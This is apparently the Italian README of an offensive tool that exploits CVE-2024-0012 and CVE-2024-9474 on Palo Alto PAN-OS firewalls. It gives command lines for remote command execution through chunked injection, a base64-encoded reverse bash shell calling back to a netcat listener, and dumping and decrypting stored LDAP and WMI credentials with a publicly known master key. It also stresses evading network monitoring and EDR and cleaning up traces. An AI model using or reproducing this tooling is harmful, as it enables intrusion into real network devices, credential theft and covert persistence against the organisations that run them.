
Strumento multiuso per lo sfruttamento e il post-sfruttamento per sistemi Palo Alto PAN-OS affetti dalle vulnerabilità CVE-2024-0012 e CVE-2024-9474
Strumento multiuso per sfruttamento e post-sfruttamento per sistemi Palo Alto PAN-OS affetti dalle vulnerabilità CVE-2024-0012 e CVE-2024-9474
Durante lo sfruttamento iniziale delle vulnerabilità di esecuzione remota di codice CVE-2024-0012 e CVE-2024-9474, ho ottenuto una shell e ho iniziato a identificare file di configurazione che contenevano stringhe strane in vari campi password. Poiché non si trattava chiaramente di formati hash comuni, io e il mio team abbiamo iniziato a indagare e abbiamo rapidamente scoperto un advisory di sicurezza sul sito ThreatLabs, che menzionava come le credenziali PAN-OS siano (erano?) crittografate per impostazione predefinita utilizzando una chiave master pubblicamente nota. Sebbene questa chiave master possa essere modificata nella configurazione del dispositivo, ho scoperto che la chiave master predefinita è stata utilizzata in ogni istanza in cui mi sono imbattuto in queste vulnerabilità. Progettando questo strumento, il mio obiettivo è creare un modo semplice per sfruttare queste vulnerabilità, eseguire post-sfruttamento e raccolta di credenziali, e persino recuperare credenziali in chiaro interamente attraverso traffico HTTPS crittografato, senza la necessità di connessioni persistenti che potrebbero essere rilevate da soluzioni di monitoraggio di rete e traffico.
Attualmente supporta il recupero e la decifratura automatica delle credenziali LDAP e WMI, anche se ho visto rari casi in cui le stringhe segrete sono crittografate all'interno dei file di configurazione con nomi di campo XML non standard. Sto lavorando per identificare le cause di questi casi unici in modo da poter garantire il pieno supporto. Si prega di notare che questo strumento è ancora in sviluppo.
Prima di utilizzarlo, assicurarsi che tutte le dipendenze necessarie siano installate, utilizzando un comando come:
pip3 install -r requirements.txt
Il comando "check" consente di verificare se un target remoto è vulnerabile a CVE-2024-0012. Quando si punta a un host remoto tramite il suo indirizzo IP, assicurarsi di usare l'argomento --no-verify. Esempio:
python3 PanOsExploitMultitool.py check -t {TARGET} --no-verify

Il comando "command" consente di sfruttare CVE-2024-0012 e CVE-2024-9474 su un target remoto per eseguire un comando fornito manualmente e recuperare l'output del comando risultante tramite l'interfaccia web. Similmente ai comandi dump e shell, il comando fornito viene suddiviso in sezioni abbastanza piccole da rientrare nella vulnerabilità di iniezione di comandi di CVE-2024-9474, scritto in un file shell temporaneo in una directory scrivibile (predefinita /var/tmp/), quindi eseguito sul target. L'output viene scritto in un file PHP temporaneo sotto /var/appweb/htdocs{remote_dir}, recuperato su HTTPS, stampato nella console e pulito automaticamente a meno che non venga fornito l'argomento --no-cleanup. Ancora una volta, non dimenticare --no-verify quando necessario.
python3 PanOsExploitMultitool.py command -t {TARGET} --no-verify -c '{COMMAND}'
Il flag opzionale --silentcommand esegue il comando fornito usando lo stesso metodo di suddivisione e iniezione di cui sopra, ma senza reindirizzare l'output a un file accessibile via web né effettuare alcuna richiesta di recupero. È utile per azioni di tipo "fire-and-forget" in cui l'output non è necessario, o quando si vuole minimizzare il numero di richieste web e file creati sul target. Poiché nessun file di output viene scritto nel percorso web, la pulizia rimuove solo i file chunk di payload temporanei dalla directory scrivibile — non c'è alcun file .php di output da pulire.
python3 PanOsExploitMultitool.py command -t {TARGET} --no-verify -c '{COMMAND}' --silentcommand
Il comando "shell" consente di sfruttare CVE-2024-0012 e CVE-2024-9474 su un target remoto per ricevere una shell inversa sull'host remoto. In parole povere, questo comando crea un payload di shell inversa bash standard, lo codifica in base64, suddivide il blob codificato in sezioni abbastanza piccole da rientrare nella vulnerabilità di iniezione di comandi di CVE-2024-9474, quindi esegue comandi per fare echo di ogni chunk in file in una directory scrivibile (predefinita /var/tmp/). Una volta che questi chunk sono completamente memorizzati, vengono amalgamati in un singolo file shell e quindi eseguiti sull'host, il che dovrebbe connettersi a un listener netcat separato (nc -nvlp {PORT}).
Si prega di notare che attualmente il timeout causato dalla connessione persistente della shell inversa impedisce la pulizia dei file, quindi sarà necessario annotare il nome file casuale stampato all'inizio dell'esecuzione dello strumento e pulirlo dalle posizioni {writable_dir} e /var/appweb/htdocs{remote_dir}. Sistemerò questo nella prossima versione, ma non ci sono ancora arrivato. Ancora una volta, non dimenticare --no-verify quando necessario.
nc -nvlp {PORT}
python3 PanOsExploitMultitool.py shell -t {TARGET} --lhost {LOCAL IP} --lport {LOCAL PORT} --no-verify

Questo era il mio obiettivo principale per questo progetto, e la ragione principale per cui ho voluto sviluppare questo strumento. Poiché la maggior parte dei writeup e degli strumenti relativi a queste vulnerabilità riguardano l'esecuzione remota di codice, non ho trovato molti esempi di persone che descrivono passaggi utili di post-sfruttamento oltre quel punto. Con il comando dump, non solo puoi recuperare e decifrare le credenziali in remoto, ma puoi farlo interamente attraverso un piccolo numero di richieste web crittografate (HTTPS) senza la necessità di connessioni persistenti. Poiché gli apparati PAN-OS hanno significativamente meno probabilità di avere soluzioni EDR/MDR/IDR/XDR/?DR, questo è particolarmente efficace nelle operazioni red team.
Il comando dump segue un metodo simile di suddivisione ed esecuzione al comando shell ma, invece di avviare una shell inversa, recupera le credenziali crittografate dai file di configurazione del dispositivo (situati in /opt/pancfg/mgmt/saved-configs/) e poi decifra automaticamente le password identificate utilizzando la chiave master pubblica nota. Il comando dump pulirà anche tutti i file creati al termine della decifratura, a meno che non si includa l'argomento --no-cleanup. Come sempre, non dimenticare --no-verify quando necessario.
python3 PanOsExploitMultitool.py dump -t {TARGET} --no-verify
Inoltre, ho aggiunto un argomento opzionale --full-running-config, che può essere utilizzato per recuperare l'intero contenuto XML del file di configurazione corrente in esecuzione e salvarlo in un file locale. Il file salvato viene nominato usando il formato running-config.{TARGET}.{TIMESTAMP}.xml (ad es. running-config.192.168.1.1.20260516_143022.xml), dove il timestamp riflette il momento del recupero. Questo impedisce che dump di configurazioni precedenti vengano sovrascritti quando si punta allo stesso dispositivo più volte. Anche se consiglio di verificare oltre a questo, poiché ho visto diversi casi in cui file di configurazione precedenti/altri contenevano credenziali crittografate uniche, questo può essere un buon modo per controllare eventuali credenziali aggiuntive che potrebbero non essere state automaticamente rilevate e decifrate. Inoltre, puoi eseguire l'elaborazione locale di qualsiasi file di configurazione XML locale utilizzando il comando Local, descritto di seguito.
python3 PanOsExploitMultitool.py dump -t {TARGET} --no-verify --full-running-config
Il comando local è molto semplice e il suo caso d'uso è principalmente quando si recupera un file di configurazione XML completo (ad esempio con l'argomento --full-running-config del comando dump), o quando si è già ottenuta una shell sul dispositivo PAN-OS e si sono copiati o stampati i contenuti dei file di configurazione XML dal dispositivo (situati in /opt/pancfg/mgmt/saved-configs/). Eseguirà la stessa logica e la decifratura automatica delle credenziali, ma da un file locale fornito. Supporta tutti i tipi di credenziali crittografate, inclusi quelli LDAP e WMI, su qualsiasi nome di tag XML.
python3 PanOsExploitMultitool.py local -f {FILE}

Infine, il comando decrypt ti permette di decifrare stringhe grezze utilizzando la chiave master pubblica. È utile in scenari unici, come quando le stringhe di credenziali crittografate vengono identificate in un file di configurazione passato ma non ci sono username immediatamente precedenti, o quando si desidera verificare manualmente una stringa di credenziali estratta con un altro metodo. Queste stringhe possono essere inserite direttamente nel terminale e possono essere accettate nel formato completo -AQ..........== o solo nel blob finale codificato in base64.
python3 PanOsExploitMultitool.py decrypt

Si prega di consultare i writeup, i moduli e gli advisory di seguito utilizzati nella ricerca e sviluppo di questo progetto.
"Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474", WatchTowr Labs: https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/
"panos_management_unauth_rce.rb", Stephen Fewer @ Rapid7: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/panos_management_unauth_rce.rb
"Advisory - PAN-OS - AES256-CBC & SHA1", Threatlabs: https://threatlabs.eu/advisories/TL23-PA-SSTWMX/